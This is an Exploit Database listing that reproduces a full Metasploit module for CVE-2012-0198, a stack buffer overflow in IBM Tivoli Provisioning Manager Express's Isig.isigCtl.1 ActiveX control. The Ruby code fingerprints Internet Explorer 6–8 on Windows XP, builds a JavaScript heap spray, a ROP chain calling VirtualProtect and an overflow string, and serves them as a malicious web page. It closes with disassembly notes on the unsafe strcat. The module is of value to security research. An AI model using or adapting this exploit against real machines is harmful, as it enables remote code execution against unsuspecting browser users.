IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 – ActiveX RunAndUploadFile() Method Overflow (Metasploit)

• Exploit Database
• 32 阅读

• 作者： Metasploit
  日期： 2012-04-10
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/18727/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::HttpServer::HTML
  	include Msf::Exploit::Remote::BrowserAutopwn
  
  	autopwn_info({
  		:os_name=> OperatingSystems::WINDOWS,
  		:ua_name=> HttpClients::IE,
  		:ua_minver=> "6.0",
  		:ua_maxver=> "8.0",
  		:javascript => true,
  		:rank => NormalRanking,
  		:classid=> "{84B74E82-3475-420E-9949-773B4FB91771}",
  		:vuln_test=> "RunAndUploadFile",
  	})
  
  	def initialize(info={})
  		super(update_info(info,
  			'Name' => "IBM Tivoli Provisioning Manager Express for Software Distribution Isig.isigCtl.1 ActiveX RunAndUploadFile() Method Overflow",
  			'Description'=> %q{
  					This module exploits a buffer overflow vulnerability in the
  				Isig.isigCtl.1 ActiveX installed with IBM Tivoli Provisioning
  				Manager Express for Software Distribution 4.1.1.
  
  				The vulnerability is found in the "RunAndUploadFile" method
  				where the "OtherFields" parameter with user controlled data
  				is used to build a "Content-Dispoition" header and attach
  				contents in a insecure way which allows to overflow a buffer
  				in the stack.
  			},
  			'License'=> MSF_LICENSE,
  			'Author' =>
  				[
  					'Andrea Micalizzi aka rgod', # Vulnerability discovery
  					'juan vazquez', # Metasploit module
  					'sinn3r' # Metasploit module
  				],
  			'References' =>
  				[
  					[ 'CVE', '2012-0198' ],
  					[ 'OSVDB', '79735' ],
  					[ 'BID', '52252' ],
  					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-12-040/' ]
  				],
  			'Payload'=>
  				{
  					'Space' => 1000,
  					'BadChars'=> "\x00",
  					'DisableNops' => true
  				},
  			'DefaultOptions'=>
  				{
  					'InitialAutoRunScript' => 'migrate -f'
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					# isig.dll 2.44.282.0
  					[ 'Automatic', {} ],
  					[
  						'IE 6 on Windows XP SP3',
  						{
  							'Rop' => nil,
  							'Offset'=> 161, # length is strlen("submit") dependant
  							'OffsetShell' => '0x800 - code.length',
  							'ebp' => 0x09090909,
  							'Ret' => 0x09090909
  						}
  					],
  					[
  						'IE 7 on Windows XP SP3',
  						{
  							'Rop' => nil,
  							'Offset'=> 161, # length is strlen("submit") dependant
  							'OffsetShell' => '0x800 - code.length',
  							'ebp' => 0x09090909,
  							'Ret' => 0x09090909
  						}
  					],
  					[
  						'IE 8 on Windows XP SP3',
  						{
  							'Rop' => :jre,
  							'Offset'=> 161, # length is strlen("submit") dependant
  							'OffsetShell' => '0x480',
  							'ebp' => 0x09090920,
  							'Ret' => 0x7c375a3d # stackpivot from msvcr71.dll # mov esp, ebp # pop ebp # ret
  						}
  					]
  				],
  			'Privileged' => false,
  			'DisclosureDate' => "Mar 01 2012",
  			'DefaultTarget'=> 0))
  
  			register_options(
  				[
  					OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
  				], self.class)
  	end
  
  	def get_target(agent)
  		#If the user is already specified by the user, we'll just use that
  		return target if target.name != 'Automatic'
  
  		if agent =~ /NT 5\.1/ and agent =~ /MSIE 6/
  			return targets[1]#IE 6 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7/
  			return targets[2]#IE 7 on Windows XP SP3
  		elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8/
  			return targets[3]#IE 8 on Windows XP SP3
  		else
  			return nil
  		end
  	end
  
  	def get_payload(t, cli)
  
  		if t['Rop'].nil?
  			code = ""
  		else
  			#Fix the stack to avoid anything busted
  			code = "\x81\xC4\x54\xF2\xFF\xFF"
  		end
  		code << payload.encoded
  
  		# No rop. Just return the payload.
  		return code if t['Rop'].nil?
  
  		# ROP chain generated by mona.py - See corelan.be
  		case t['Rop']
  		when :jre
  			print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP")
  			exec_size = 0xffffffff - code.length + 1
  			rop =
  			[
  				0x7c37653d,# POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
  				exec_size, # Value to NEG
  				0x7c347f98,# RETN (ROP NOP)
  				0x7c3415a2,# JMP [EAX]
  				0xffffffff,
  				0x7c376402,# skip 4 bytes
  				0x7c351e05,# NEG EAX # RETN
  				0x7c345255,# INC EBX # FPATAN # RETN
  				0x7c352174,# ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN
  				0x7c344f87,# POP EDX # RETN
  				0xffffffc0,# Value to negate, will become 0x00000040
  				0x7c351eb1,# NEG EDX # RETN
  				0x7c34d201,# POP ECX # RETN
  				0x7c38b001,# &Writable location
  				0x7c347f97,# POP EAX # RETN
  				0x7c37a151,# ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
  				0x7c378c81,# PUSHAD # ADD AL,0EF # RETN
  				0x7c345c30,# ptr to 'push esp #ret '
  			].pack("V*")
  		end
  
  		code = rop + code
  		return code
  	end
  
  	def on_request_uri(cli, request)
  
  		agent = request.headers['User-Agent']
  		my_target = get_target(agent)
  
  		# Avoid the attack if the victim doesn't have the same setup we're targeting
  		if my_target.nil?
  			print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}")
  			send_not_found(cli)
  			return
  		end
  
  		print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}")
  
  		p = get_payload(my_target, cli)
  		js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
  		js_nops = Rex::Text.to_unescape("\x90"*4, Rex::Arch.endian(my_target.arch))
  
  		js_spray = <<-JS
  		var heap_obj = new heapLib.ie(0x20000);
  		var code = unescape("#{js_code}");
  		var nops = unescape("#{js_nops}");
  
  		while (nops.length < 0x80000) nops += nops;
  		var offset = nops.substring(0, #{my_target['OffsetShell']});
  		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);
  
  		while (shellcode.length < 0x40000) shellcode += shellcode;
  		var block = shellcode.substring(0, (0x80000-6)/2);
  
  		heap_obj.gc();
  		for (var i=0; i < 0x1A0; i++) {
  			heap_obj.alloc(block);
  		}
  
  		JS
  
  		js_spray = heaplib(js_spray, {:noobfu => true})
  
  		if datastore['OBFUSCATE']
  			js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
  			js_spray.obfuscate
  		end
  
  		bof = rand_text_alpha(my_target['Offset'])
  		bof << [my_target['ebp']].pack("V") # ebp
  		bof << [my_target.ret].pack("V") # eip
  
  		html = <<-HTML
  		<html>
  		<head>
  		<script>
  			#{js_spray}
  		</script>
  		</head>
  		<object classid='clsid:84B74E82-3475-420E-9949-773B4FB91771' id='isig'></object>
  		<script>
  			var url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{datastore['SRVPORT']}/tpmx/uploadEG2.do";
  			var fields = "submit:#{bof};FROM_EMAIL:true;userKey:2";
  			var flags = "-level5";
  			msg = isig.RunAndUploadFile(url, fields, flags);
  		</script>
  		</html>
  		HTML
  
  		html = html.gsub(/^\t\t/, '')
  
  		print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html")
  		send_response(cli, html, {'Content-Type'=>'text/html'})
  	end
  
  end
  
  =begin
  
  * Vulnerability notes
  
  The Dangerous strcat allows to attach user-controlled contents after
  the Content-disposition header:
  
  .text:100040B0 Src = byte ptr -100h
  ...
  .text:100040DD push[ebp+Source]; Source => User controlled via "fields" param
  .text:100040E0 lea eax, [ebp+Src]
  .text:100040E6 pusheax ; Dest => Local variable where the Content-disposition header
  																											 ; has been stored
  .text:100040E7 call_strcat ; strcat used by this module to overflow
  
  Function isn't protected with stack cookies so get
  the control flow is easy by overwriting the saved EIP
  on the stack.
  
  =end